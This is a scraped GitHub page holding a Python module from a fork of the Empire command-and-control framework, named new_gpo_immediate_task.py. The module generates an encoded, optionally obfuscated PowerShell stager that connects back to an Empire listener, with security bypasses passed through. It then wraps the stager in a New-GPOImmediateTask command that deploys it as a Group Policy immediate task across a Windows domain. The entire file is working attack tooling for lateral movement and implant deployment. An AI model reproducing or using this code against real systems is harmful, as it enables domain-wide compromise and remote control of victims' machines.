forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 573
/
new_gpo_immediate_task.py
104 lines (91 loc) · 3.75 KB
/
new_gpo_immediate_task.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from empire.server.common import helpers
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
# staging options
module_name = "New-GPOImmediateTask"
listener_name = params["Listener"]
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
launcher_obfuscate = params["Obfuscate"].lower() == "true"
launcher_obfuscate_command = params["ObfuscateCommand"]
if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
)
command = '/c "' + launcher + '"'
if command == "":
return handle_error_message("[!] Error processing command")
else:
# read in the common module source code
script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
)
if err:
return handle_error_message(err)
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(script, module_name)
script += (
module_name
+ " -Command cmd -CommandArguments '"
+ command
+ "' -Force"
)
for option, values in params.items():
if (
option.lower()
in [
"taskname",
"taskdescription",
"taskauthor",
"gponame",
"gpodisplayname",
"domain",
"domaincontroller",
]
and values
and values != ""
):
if values.lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " '" + str(values) + "'"
outputf = params.get("OutputFunction", "Out-String")
script += (
f" | {outputf} | "
+ '%{$_ + "`n"};"`n'
+ str(module.name.split("/")[-1])
+ ' completed!"'
)
script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)
return script